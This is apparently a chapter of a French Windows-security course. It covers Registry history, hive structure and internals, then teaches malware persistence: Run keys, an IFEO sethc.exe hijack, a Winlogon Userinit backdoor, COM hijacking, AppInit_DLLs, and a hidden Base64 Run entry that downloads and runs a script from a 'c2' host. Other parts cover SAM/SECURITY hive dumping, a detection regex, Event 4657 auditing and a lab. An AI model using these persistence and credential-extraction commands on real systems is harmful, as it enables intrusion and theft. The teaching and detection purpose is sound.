Copié !
Chapitre 04

Le Registre Windows

De l'anarchie des fichiers .INI à la base de données hiérarchique kernel - architecture interne, persistance malware, audit forensique et détection SOC.

INTERMÉDIAIRE OFFENSIF + DÉFENSIF 4 – 5h
4.1

Origine & Histoire - Pourquoi le Registre Existe

Pour comprendre le Registre, il faut remonter à Windows 3.0 (1990). À cette époque, chaque application stockait sa configuration dans des fichiers texte .INI dispersés partout sur le disque - un système qui posait des problèmes structurels profonds.

L'ère des fichiers .INI - Le chaos originel
Exemple WIN.INI - Windows 3.xINI
; WIN.INI - Windows 3.x - fichier parmi des dizaines éparpillés [windows] load= run= NullPort=None BorderWidth=3 [Desktop] Wallpaper=(None) TileWallpaper=0 [MonApplication] CheminInstall=C:\APPS\MONAPP DerniereVersion=1.2.3
Problèmes majeurs du système .INI
ProblèmeDescription
DispersionFichiers éparpillés dans C:\Windows\, C:\Windows\System\, et les dossiers des apps
Limite de taille64 Ko maximum par fichier - insuffisant pour des applications complexes
Pas de typesTout est du texte - pas de distinction entier / booléen / binaire
Pas de sécuritéN'importe quel processus peut lire et écrire n'importe quel .INI
Pas de transactionsCoupure d'alimentation pendant une écriture = fichier corrompu
Pas de hiérarchieStructure plate, deux niveaux max (section + clé)
EncodageASCII uniquement - pas d'Unicode
La transition - Windows NT 3.1 (1993)

Microsoft introduit le Registre avec Windows 3.1 initialement pour stocker les associations de fichiers OLE. Mais avec Windows NT 3.1 (1993), repensé de fond en comble par l'équipe de Dave Cutler (architecte de NT, ancien de DEC VMS), il devient une base de données hiérarchique complète remplaçant tous les fichiers de configuration.

Correspondances .INI → Registre NTMAPPING
Windows 3.x Windows NT 3.1+ ────────────────── ────────────────────────────────────────────────────── WIN.INI → HKCU\Software\... SYSTEM.INI → HKLM\SYSTEM\... AUTOEXEC.BAT → HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment CONFIG.SYS → HKLM\SYSTEM\CurrentControlSet\... PROGMAN.INI → HKCU\Software\Microsoft\Windows NT\CurrentVersion\Program Manager
Couche de compatibilité NT

Windows NT implémente une couche de compatibilité : quand une vieille application 16-bit écrit dans WIN.INI, NT intercepte l'appel et le redirige silencieusement vers le registre via la clé HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping. Cette couche est encore présente dans Windows 11.

Évolution jusqu'à l'architecture moderne
Chronologie du Registre Windows
1990 Windows 3.0 → Fichiers .INI - le chaos
1992 Windows 3.1 → REG.DAT - premier registre (OLE uniquement)
1993 Windows NT 3.1 → Registre hiérarchique complet (Dave Cutler / DEC VMS)
1995 Windows 95 → SYSTEM.DAT + USER.DAT - unification
2000 Windows 2000 → Transactions, ACLs, Unicode complet - architecture moderne
2006 Windows Vista → Virtualisation registre (UAC), Transactional Registry (TxR)
2015 Windows 10 → Processus "Registry" dédié (PID ~72), hives compressées
Étymologie

Le terme Registry (registre) vient de l'idée d'un "registre central d'état" - comme un registre d'état civil qui centralise toutes les informations de manière autoritaire. Avant, c'était l'anarchie des .INI ; après, un état centralisé et typé.

4.2

Structure Hiérarchique - Hives, Clés, Valeurs, Types

Anatomie complète
Hiérarchie du Registre
HIVE (racine) ← groupe logique = fichier physique sur disque
└── Clé (Key) ← équivalent d'un dossier
├── Sous-clé (Subkey)
│ ├── Sous-clé imbriquée
│ │ └── Valeur (Value) ← unité de stockage réelle (nom + type + données)
│ └── Valeur
└── Valeur
HKEY_ = Handle to Registry Key - le prefixe désigne un handle vers une hive racine
Les 5 Hives Racines
HiveDescriptionFichier(s) sur disque
HKLM Paramètres système globaux - tous utilisateurs C:\Windows\System32\config\
SYSTEM, SOFTWARE, SAM, SECURITY
HKCU Paramètres de l'utilisateur courant C:\Users\<user>\NTUSER.DAT
HKU Tous les profils utilisateurs chargés NTUSER.DAT de chaque utilisateur
HKCR Associations fichiers + COM Virtuelle - fusion de HKLM\SOFTWARE\Classes + HKCU\Software\Classes
HKCC Profil matériel actif Virtuelle - sous-clé de HKLM\SYSTEM
HKCR et HKCC sont virtuelles

Ces deux hives ne correspondent pas à des fichiers propres - elles sont des vues fusionnées d'autres hives, construites dynamiquement par le kernel. HKCR fusionne en temps réel HKLM\SOFTWARE\Classes et HKCU\Software\Classes - et c'est justement cette fusion qui permet le COM Object Hijacking via HKCU (section 4.7).

Zoom sur HKLM - La hive la plus critique
Structure de HKLM avec annotations sécuritéARBRE
HKLM ├── HARDWARE ← Volatile - reconstruite à chaque boot (aucun fichier disque) │ └── DESCRIPTION\System\CentralProcessor\0\ProcessorNameString │ ├── SAM ← Base de données comptes locaux (chiffrée, verrouillée par LSA) │ └── SAM\Domains\Account\Users\... │ ├── SECURITY ← Politiques LSA, secrets, cache Kerberos (SYSTEM only) │ └── Policy\Secrets\... │ ├── SOFTWARE ← Applications installées, config logicielle │ └── Microsoft\Windows\CurrentVersion\Run ← ⚠ PERSISTANCE │ └── Microsoft\Windows NT\CurrentVersion\... │ └── Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ ← ⚠ IFEO │ └── SYSTEM ← Config hardware, services, drivers, réseau └── CurrentControlSet\Services\... ← ⚠ SERVICES / DRIVERS └── CurrentControlSet\Control\... └── Select\Current ← Quel ControlSet est actif
Les Types de Valeurs
TypeNomDescriptionUsage typique
REG_SZStringChaîne UnicodeChemins, noms, URLs
REG_EXPAND_SZExpandable StringChaîne avec variables d'env. (%SystemRoot%)Chemins de services - résolu au runtime
REG_DWORDDouble WordEntier 32-bit non signéFlags, booléens (0/1), ports
REG_QWORDQuad WordEntier 64-bitTimestamps, grands nombres
REG_BINARYBinaryDonnées binaires brutesConfigs hardware, clés crypto
REG_MULTI_SZMulti-StringTableau de chaînes séparées par \0Listes de valeurs
REG_LINKSymbolic LinkLien symbolique vers une autre cléInterne kernel - rarement exposé
Créer des valeurs de types différents en PowerShellPOWERSHELL
# Créer la clé de test New-Item -Path "HKCU:\Software\TestLab" -Force # REG_SZ - chaîne simple New-ItemProperty -Path "HKCU:\Software\TestLab" -Name "StringVal" -Value "Bonjour" -PropertyType String # REG_DWORD - entier 32-bit New-ItemProperty -Path "HKCU:\Software\TestLab" -Name "DwordVal" -Value 42 -PropertyType DWord # REG_BINARY - données binaires New-ItemProperty -Path "HKCU:\Software\TestLab" -Name "BinaryVal" -Value ([byte[]](0x41,0x42,0x43)) -PropertyType Binary # REG_MULTI_SZ - tableau de chaînes New-ItemProperty -Path "HKCU:\Software\TestLab" -Name "MultiVal" -Value @("val1","val2","val3") -PropertyType MultiString # Lire le type d'une valeur Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" ` -Name "ProductName" | Get-Member -Name "ProductName"
4.3

Architecture Interne - Comment le Kernel Gère le Registre

Format de fichier Hive - Structure bas niveau

Chaque hive est un fichier binaire structuré avec son propre format. Comprendre cette structure permet d'extraire le registre directement depuis le disque en forensics - sans passer par l'API Windows.

Structure interne d'un fichier Hive (ex: NTUSER.DAT)STRUCTURE
Fichier Hive (ex: NTUSER.DAT) ├── Base Block (512 bytes) ← En-tête : signature "regf", version, checksum CRC32 ├── Hive Bins ← Blocs de données de 4096 bytes (1 page mémoire) │ ├── Bin Header ← Signature "hbin", offset, taille │ └── Cells ← Unités de stockage individuelles │ ├── Key Node (nk) ← Structure d'une clé (nom, parent, nb sous-clés...) │ ├── Value Node (vk) ← Structure d'une valeur (nom, type, données) │ ├── Security Node (sk) ← Security Descriptor (ACL) de la clé │ ├── Index/List cells ← Index des sous-clés pour recherche rapide │ └── Data cells ← Données réelles des valeurs
Forensics - sans passer par l'API Windows

Cette structure interne permet d'extraire le registre depuis un disque forensique même sans Windows actif. Des outils comme regipy (Python) ou Registry Explorer (Eric Zimmerman) parsent directement les fichiers .DAT. Indispensable pour analyser un système compromis hors ligne - l'attaquant peut avoir nettoyé ses traces via l'API, mais les fichiers bruts conservent parfois des artefacts supplémentaires dans les cellules marquées "libres".

Le processus Registry et le kernel
Processus Registry et liste des hives chargéesPOWERSHELL
# Depuis Windows 10 - le kernel maintient un processus "Registry" dédié Get-Process -Name "Registry" # → PID ~72 à ~110, utilisation mémoire minimale, pas de fichier exe visible # Liste complète des hives chargées (chemin NT interne + fichier physique) Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\hivelist" # → \REGISTRY\MACHINE\SOFTWARE = C:\Windows\System32\config\SOFTWARE # → \REGISTRY\USER\S-1-5-21-...\... = C:\Users\alice\NTUSER.DAT # → \REGISTRY\MACHINE\HARDWARE = (volatile - pas de fichier)
Hives stables vs volatiles
TypeDescriptionExemple
Stable Données persistantes - écrites sur disque, survivent aux reboots HKLM\SOFTWARE, HKCU (NTUSER.DAT)
Volatile Données en RAM uniquement - perdues au reboot, reconstruites au boot suivant HKLM\HARDWARE, hivelist
4.4

HKLM vs HKCU - Portée et Droits

HKEY_LOCAL_MACHINE
HKLM - Scope Machine

Paramètres qui s'appliquent à tous les utilisateurs. Droits admin requis pour écrire. Fichiers dans C:\Windows\System32\config\. Modifications persistent à travers tous les comptes.

HKEY_CURRENT_USER
HKCU - Scope Utilisateur

Paramètres de l'utilisateur actif uniquement. L'utilisateur courant peut toujours écrire - sans admin. Fichier NTUSER.DAT dans le profil. Clé stratégique pour persistance sans élévation.

Tester les droits d'écriture HKLM vs HKCUPOWERSHELL
# Test HKLM (nécessite admin) try { New-Item -Path "HKLM:\SOFTWARE\TestWrite" -Force -ErrorAction Stop Write-Host "✅ Écriture HKLM possible (tu es admin)" -ForegroundColor Green Remove-Item -Path "HKLM:\SOFTWARE\TestWrite" -Force } catch { Write-Host "✖ Écriture HKLM refusée (pas admin)" -ForegroundColor Red } # Test HKCU (toujours possible pour l'utilisateur courant) New-Item -Path "HKCU:\Software\TestWrite" -Force | Out-Null Write-Host "✅ Écriture HKCU toujours possible" -ForegroundColor Green Remove-Item -Path "HKCU:\Software\TestWrite" -Force
ACLs sur les clés de registre

Exactement comme les fichiers NTFS, chaque clé de registre possède un Security Descriptor avec une DACL. Les droits s'héritent des clés parentes et peuvent être surchargés.

Voir les ACLs d'une clé de registrePOWERSHELL
# Voir les ACLs d'une clé $acl = Get-Acl -Path "HKLM:\SAM" $acl.Access | Select-Object IdentityReference, RegistryRights, AccessControlType # La clé SAM est accessible uniquement par SYSTEM et Administrators # → C'est pourquoi reg.exe save SAM nécessite des droits admin # → et pourquoi impacket/secretsdump.py contourne via des techniques d'accès brut # Voir les droits d'une clé de persistance standard Get-Acl -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Select-Object -ExpandProperty Access | Select-Object IdentityReference, RegistryRights
4.5

Clés de Persistance - Run, RunOnce, Services, IFEO

C'est le cœur de l'utilisation offensive du registre. Comprendre ces clés est indispensable pour l'analyse de malwares, la forensics et la chasse aux menaces. Chaque clé représente un vecteur de persistance avec ses propres caractéristiques en termes de droits requis, timing d'exécution et niveau de discrétion.

Carte complète des points de persistance
Arbre de persistance registre - HKLM + HKCUARBRE
PERSISTANCE MACHINE (HKLM - admin requis) ├── HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ← À chaque session ├── HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ← Une seule fois ├── HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices ← Services ├── HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon │ ├── Userinit (défaut: userinit.exe) ← Après logon │ └── Shell (défaut: explorer.exe) ← Shell utilisateur ├── HKLM\SYSTEM\CurrentControlSet\Services\ ← Services/Drivers ├── HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ │ └── <process.exe>\Debugger ← IFEO hijacking └── HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows └── AppInit_DLLs ← Injection globale PERSISTANCE UTILISATEUR (HKCU - sans admin) ├── HKCU\Software\Microsoft\Windows\CurrentVersion\Run ← ⚐ Le plus courant ├── HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ├── HKCU\Software\Classes\CLSID\{GUID}\InProcServer32 ← COM Hijacking ├── HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders └── HKCU\Environment\UserInitMprLogonScript ← Script au logon
Run / RunOnce en détail
Clés Run - lecture et écriturePOWERSHELL
# Structure d'une entrée Run : # Nom = Identifiant quelconque (souvent le nom de l'app) # Type = REG_SZ ou REG_EXPAND_SZ # Données = Chemin complet vers l'exécutable + arguments optionnels # Exemple légitime (Windows Defender) : # "SecurityHealth" = "C:\Windows\System32\SecurityHealthSystray.exe" # Voir toutes les entrées Run actuelles Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # Ajouter une entrée Run (test) New-ItemProperty ` -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "WindowsUpdateHelper" ` -Value "C:\Users\Public\update.exe" ` -PropertyType String -Force # RunOnce → exécuté UNE SEULE FOIS puis supprimé automatiquement New-ItemProperty ` -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" ` -Name "Setup" ` -Value "C:\Temp\setup_step2.exe" ` -PropertyType String -Force
IFEO - Image File Execution Options (technique avancée)

La clé IFEO est conçue pour attacher un débogueur à un processus au démarrage. Exploitée offensivement pour hijacker des processus système - en particulier les outils d'accessibilité Windows accessibles depuis l'écran de login (avant authentification).

Processus cibléActivationRésultat du hijack
sethc.exe5× SHIFT sur l'écran de loginShell SYSTEM avant authentification
osk.exeClavier virtuel sur l'écran de loginShell SYSTEM avant authentification
magnify.exeLoupe sur l'écran de loginShell SYSTEM avant authentification
utilman.exeCentre d'accessibilité Win+UShell SYSTEM avant authentification
narrator.exeNarrateur sur l'écran de loginShell SYSTEM avant authentification
IFEO hijacking - sethc.exe (lab uniquement)POWERSHELL
# Exploitation : remplacer sethc.exe (Sticky Keys) par cmd.exe # → Appuyer 5x SHIFT sur l'écran de login = cmd.exe en SYSTEM # ⚠ Lab uniquement - restaurer après test ! $ifeoPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" New-Item -Path $ifeoPath -Force | Out-Null New-ItemProperty -Path $ifeoPath ` -Name "Debugger" ` -Value "C:\Windows\System32\cmd.exe" ` -PropertyType String # Restauration (toujours faire avant de quitter le lab) Remove-Item -Path $ifeoPath -Recurse -Force
Winlogon - Point de persistance critique
Winlogon - Userinit et ShellPOWERSHELL
# Valeurs normales - ne JAMAIS modifier en production Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # Userinit = C:\Windows\system32\userinit.exe, (virgule finale obligatoire) # Shell = explorer.exe # Exploitation : ajouter un second processus après userinit.exe # La virgule = séparateur - Windows lance les deux processus Set-ItemProperty ` -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ` -Name "Userinit" ` -Value "C:\Windows\system32\userinit.exe,C:\Users\Public\backdoor.exe," # ⚠ Lab uniquement - restaurer immédiatement après test # Restauration Set-ItemProperty ` -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ` -Name "Userinit" ` -Value "C:\Windows\system32\userinit.exe,"
4.6

Gestion via reg.exe et Cmdlets PowerShell

reg.exe - L'outil natif en ligne de commande
reg.exe - toutes les opérations fondamentalesCMD
rem ── LECTURE ───────────────────────────────────────────────────── reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "SecurityHealth" reg query HKLM\SYSTEM\CurrentControlSet\Services /s rem Récursif rem ── ÉCRITURE ──────────────────────────────────────────────────── reg add HKCU\Software\TestLab /v "MaValeur" /t REG_SZ /d "Bonjour" /f reg add HKCU\Software\TestLab /v "MonDword" /t REG_DWORD /d 42 /f rem ── SUPPRESSION ───────────────────────────────────────────────── reg delete HKCU\Software\TestLab /v "MaValeur" /f reg delete HKCU\Software\TestLab /f rem Supprime toute la clé rem ── EXPORT / IMPORT ───────────────────────────────────────────── reg export HKLM\SAM C:\Backup\SAM.reg reg export HKLM\SYSTEM C:\Backup\SYSTEM.reg reg import C:\Backup\restauration.reg rem ── SAUVEGARDE BINAIRE (forensics / extraction de hashes) ─────── rem → Format binaire - inclut les données chiffrées (SAM, SECURITY) reg save HKLM\SAM C:\Temp\SAM.hive reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive reg save HKLM\SECURITY C:\Temp\SECURITY.hive
Cmdlets PowerShell - *-Item & *-ItemProperty
PowerShell - navigation et CRUD complet sur le registrePOWERSHELL
# ── NAVIGATION (le registre = un PSDrive comme le filesystem) ────── Set-Location "HKCU:\Software" Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | Select-Object -First 10 # ── LIRE ─────────────────────────────────────────────────────────── Get-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" # Lire une valeur spécifique (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" ` -Name "ProductName").ProductName # ── CRÉER ────────────────────────────────────────────────────────── New-Item -Path "HKCU:\Software\MonApp" -Force New-ItemProperty -Path "HKCU:\Software\MonApp" -Name "Version" -Value "1.0.0" -PropertyType String # ── MODIFIER ─────────────────────────────────────────────────────── Set-ItemProperty -Path "HKCU:\Software\MonApp" -Name "Version" -Value "2.0.0" # ── SUPPRIMER ────────────────────────────────────────────────────── Remove-ItemProperty -Path "HKCU:\Software\MonApp" -Name "Version" Remove-Item -Path "HKCU:\Software\MonApp" -Recurse -Force # ── TESTER L'EXISTENCE ───────────────────────────────────────────── Test-Path "HKCU:\Software\MonApp" (Get-Item "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run").Property
Charger une hive externe (forensics)
Charger un NTUSER.DAT d'un autre utilisateur pour analysePOWERSHELL
# Charger un NTUSER.DAT depuis un autre profil (forensics hors ligne) reg load HKLM\TempHive "C:\Users\AutreUser\NTUSER.DAT" # Analyser les clés Run de cet utilisateur Get-ItemProperty "HKLM:\TempHive\Software\Microsoft\Windows\CurrentVersion\Run" # ⚠ Toujours décharger - sinon le fichier reste verrouillé [gc]::Collect() # Forcer la collecte GC pour libérer les handles PowerShell reg unload HKLM\TempHive
4.7

Le Registre comme Vecteur de Persistance Malware

Technique 1 - Run Key classique (la plus répandue)

La technique de persistance la plus utilisée depuis 1995. Détectée par tous les EDR modernes mais encore massivement présente dans les malwares de bas de gamme et les APT moins sophistiqués.

Pattern Run Key malware - avec REG_EXPAND_SZPOWERSHELL
# Pattern malware typique : # 1. Copie le payload dans un dossier discret (mimique un exécutable légitime) Copy-Item "C:\malware.exe" "$env:APPDATA\Microsoft\Windows\svchost.exe" # 2. Crée l'entrée de persistance avec un nom trompeur New-ItemProperty ` -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "WindowsSecurityUpdate" ` -Value "%APPDATA%\Microsoft\Windows\svchost.exe" ` -PropertyType ExpandString -Force # REG_EXPAND_SZ : %APPDATA% est résolu automatiquement au runtime # → aucun chemin absolu visible dans le registre - moins détectable
Technique 2 - COM Object Hijacking (sans admin)

Exploite la fusion HKCR : HKCU\Software\Classes est prioritaire sur HKLM\SOFTWARE\Classes lors du lookup COM. En enregistrant un faux handler COM dans HKCU, on peut hijacker des COM objects utilisés par des processus légitimes comme explorer.exe - sans aucun droit admin.

COM Object Hijacking via HKCU - sans adminPOWERSHELL
# Étape 1 : Identifier un COM object chargé par un processus légitime # (via Process Monitor - filtre: Operation=RegQueryValue + Result=NAME NOT FOUND) # → Ces "NAME NOT FOUND" sur HKCU sont des opportunités de hijacking # Étape 2 : Enregistrer un faux handler dans HKCU (pas besoin d'admin) $guid = "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" # GUID du COM cible New-Item -Path "HKCU:\Software\Classes\CLSID\$guid" -Force New-Item -Path "HKCU:\Software\Classes\CLSID\$guid\InProcServer32" -Force Set-ItemProperty ` -Path "HKCU:\Software\Classes\CLSID\$guid\InProcServer32" ` -Name "(Default)" ` -Value "C:\Users\Public\evil.dll" # Résultat : à chaque chargement de ce COM par explorer.exe → evil.dll injectée # Aucun fichier écrit hors du profil utilisateur - propre et discret
Technique 3 - AppInit_DLLs
AppInit_DLLs - injection dans tous les processus User32POWERSHELL
# AppInit_DLLs = DLLs injectées dans TOUS les processus qui chargent User32.dll # = injection universelle (désactivée si Secure Boot actif) Set-ItemProperty ` -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ` -Name "AppInit_DLLs" ` -Value "C:\Users\Public\inject.dll" Set-ItemProperty ` -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ` -Name "LoadAppInit_DLLs" ` -Value 1 # ⚠ Lab uniquement - remettre LoadAppInit_DLLs à 0 après test
Technique 4 - Payload fileless dans le registre

Stocker directement du code PowerShell encodé en Base64 comme valeur de registre. Aucun fichier sur le disque - le payload vit entièrement dans le registre, chargé et exécuté par PowerShell à chaque démarrage.

Persistance fileless - payload Base64 dans RunPOWERSHELL
# Encoder un payload en Base64 (Unicode) $payload = "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')" $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # Stocker le payload dans le registre New-ItemProperty ` -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "WindowsDefenderUpdate" ` -Value "powershell.exe -WindowStyle Hidden -EncodedCommand $encoded" ` -PropertyType String -Force # → Aucun fichier .ps1 ou .exe sur le disque # → Payload entièrement dans le registre - exécuté à chaque session # → Détectable via Script Block Logging (Event 4104) si activé (Ch.02)
Offensif - Hiérarchie des techniques

Sans admin : HKCU Run (direct, toujours disponible), COM Hijacking (furtif, pas de fichier hors profil), HKCU RunOnce. Avec admin : HKLM Run, IFEO, Winlogon Userinit/Shell, AppInit_DLLs, Services. Fileless : combiner payload Base64 dans HKCU Run avec -WindowStyle Hidden -EncodedCommand - aucun artefact disque hors du registre.

Défensif - Points de surveillance prioritaires

Run/RunOnce dans HKCU et HKLM, valeurs Userinit et Shell de Winlogon, toute sous-clé dans IFEO contenant une valeur Debugger, AppInit_DLLs (doit être vide), clés CLSID dans HKCU\Software\Classes sans correspondance dans HKLM. Toute entrée pointant vers Public\, Temp\, AppData\ ou contenant -EncodedCommand, IEX, Hidden = alerte immédiate.

4.8

Audit du Registre - Event ID 4657 & Autoruns

Event ID 4657 - Modification d'une valeur de registre

L'Event ID 4657 est généré quand une valeur de registre est créée, modifiée ou supprimée - mais uniquement si un audit SACL est configuré sur la clé concernée et que la politique d'audit registre est activée. Sans ces deux conditions, rien n'est journalisé.

Configurer l'audit SACL + activer la politiquePOWERSHELL
# ── ÉTAPE 1 : Configurer l'audit SACL sur la clé Run ──────────────── $path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $acl = Get-Acl -Path $path $auditRule = New-Object System.Security.AccessControl.RegistryAuditRule( "Everyone", "SetValue,CreateSubKey,DeleteSubKey", "ContainerInherit,ObjectInherit", "None", "Success,Failure" ) $acl.AddAuditRule($auditRule) Set-Acl -Path $path -AclObject $acl # ── ÉTAPE 2 : Activer la politique d'audit registre ───────────────── auditpol /set /subcategory:"Registry" /success:enable /failure:enable
Anatomie d'un Event 4657
Structure Event ID 4657 - champs clésLOG
Event ID : 4657 Message : A registry value was modified. Subject: Account Name : alice ← Qui a fait la modification Process Name : powershell.exe ← Quel processus Object: Object Name : \REGISTRY\USER\S-1-5-21-...\Software\Microsoft\...\Run Value Name : WindowsUpdateHelper ← Nom de la valeur modifiée Change: Type of Change : New registry value created ← Type d'opération Old Value : - New Value : C:\Users\Public\backdoor.exe ← ⚠ Nouveau contenu !
Requêter les Event 4657 et extraire les champs XMLPOWERSHELL
Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4657 StartTime = (Get-Date).AddHours(-24) } -ErrorAction SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Heure = $_.TimeCreated Utilisateur = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' Processus = ($data | Where-Object {$_.Name -eq 'ProcessName'}).'#text' Clé = ($data | Where-Object {$_.Name -eq 'ObjectName'}).'#text' Valeur = ($data | Where-Object {$_.Name -eq 'ValueName'}).'#text' Opération = ($data | Where-Object {$_.Name -eq 'OperationType'}).'#text' NouvelleVal = ($data | Where-Object {$_.Name -eq 'NewValue'}).'#text' } } | Format-Table -AutoSize
Autoruns - L'outil de référence Sysinternals

Autoruns (Mark Russinovich, Sysinternals) est l'outil le plus complet pour détecter les points de persistance. Il couvre non seulement le registre mais aussi les tâches planifiées, les services, les drivers, les extensions de navigateur, etc.

Autorunsc - version console, idéale pour scripts SOCPOWERSHELL
# Lancer Autoruns GUI C:\Tools\Sysinternals\Autoruns.exe # Autorunsc - version console (output CSV, idéal pour automatisation) C:\Tools\Sysinternals\Autorunsc.exe -a * -c -h -s -accepteula > C:\Temp\autoruns_report.csv # -a * → Tous les emplacements de démarrage automatique # -c → Output CSV # -h → Afficher les hashes SHA256 # -s → Vérifier la signature numérique # Parser le CSV et filtrer les entrées non signées par Microsoft $rapport = Import-Csv "C:\Temp\autoruns_report.csv" $rapport | Where-Object { $_.Signer -notmatch "Microsoft" -and $_.Enabled -eq "enabled" } | Select-Object Time, Category, "Entry Location", Entry, "Image Path", Signer | Format-Table -AutoSize
Catégories couvertes par Autoruns
CatégorieCe que ça couvre
LogonRun, RunOnce, Winlogon Shell/Userinit, HKCU/HKLM
ExplorerBrowser Helper Objects, Shell Extensions, Context Menus
ServicesTous les services Windows (Running + Stopped)
DriversDrivers kernel chargés
Scheduled TasksToutes les tâches planifiées
Boot ExecuteExécution pré-Windows (BootExecute, IFEO)
Image HijacksIFEO - toute valeur Debugger dans les sous-clés
AppInitAppInit_DLLs et LoadAppInit_DLLs
LSA ProvidersProviders SSPI - persistance avancée post-compromise
TP 1

Persistance Simulée dans HKCU\Run

TP 04-A Injecter une fausse persistance, la détecter via PowerShell, nettoyer proprement INTERMÉDIAIRE
Objectifs
  1. Créer un "payload" fictif et l'enregistrer dans HKCU\Run avec un nom trompeur
  2. Écrire une fonction de détection qui analyse toutes les clés Run
  3. Identifier l'entrée suspecte (chemin, signature, alertes)
  4. Nettoyer proprement et confirmer la suppression
Créer le payload fictif et injecter la persistancePOWERSHELL
# Créer un "payload" fictif (fichier texte - pas de vrai malware) $fakeMalwarePath = "$env:APPDATA\Microsoft\Windows\Themes\ThemeService.exe" New-Item -ItemType File -Path $fakeMalwarePath -Force | Out-Null Set-Content -Path $fakeMalwarePath -Value "# Simulation de malware - pas dangereux" # Ajouter l'entrée de persistance avec un nom trompeur $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" New-ItemProperty -Path $runKey ` -Name "Windows Theme Service" ` -Value $fakeMalwarePath ` -PropertyType ExpandString -Force Write-Host "✅ Persistance simulée injectée" -ForegroundColor Yellow Write-Host " Nom : Windows Theme Service" Write-Host " Path : $fakeMalwarePath"
Fonction de détection des Run Keys suspectesPOWERSHELL
function Find-SuspiciousRunKeys { param([string[]]$Paths = @( "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" )) foreach ($regPath in $Paths) { if (-not (Test-Path $regPath)) { continue } $props = Get-ItemProperty -Path $regPath -ErrorAction SilentlyContinue $props.PSObject.Properties | Where-Object { $_.Name -notin @("PSPath","PSParentPath","PSChildName","PSDrive","PSProvider") } | ForEach-Object { $name = $_.Name $value = $_.Value $exe = $value -replace '"','' -split ' ' | Select-Object -First 1 $exeResolved = [Environment]::ExpandEnvironmentVariables($exe) $suspicious = @() if ($exeResolved -match "\\(Temp|Public|AppData|Users\\.*\\AppData)\\") { $suspicious += "Chemin suspect" } if (-not (Test-Path $exeResolved -EA SilentlyContinue)) { $suspicious += "Fichier introuvable" } if ($value -match "-[Ee]nc(odedCommand)?|-[Ww].*[Hh]idden|IEX|DownloadString") { $suspicious += "Commande PS suspecte" } $signed = "❓ Inconnu" try { $sig = Get-AuthenticodeSignature -FilePath $exeResolved -EA Stop $signed = if ($sig.Status -eq "Valid") { "✅ $($sig.SignerCertificate.Subject.Split(',')[0])" } else { "✖ Non signé" } } catch {} [PSCustomObject]@{ Clé = $regPath.Split(":")[-1].Split("\")[-2..-1] -join "\" Nom = $name Valeur = $value.Substring(0, [Math]::Min(55, $value.Length)) Signature = $signed Alertes = if ($suspicious) { $suspicious -join " | " } else { "Aucune" } } } } } Find-SuspiciousRunKeys | Format-Table -AutoSize -Wrap
Suppression et confirmationPOWERSHELL
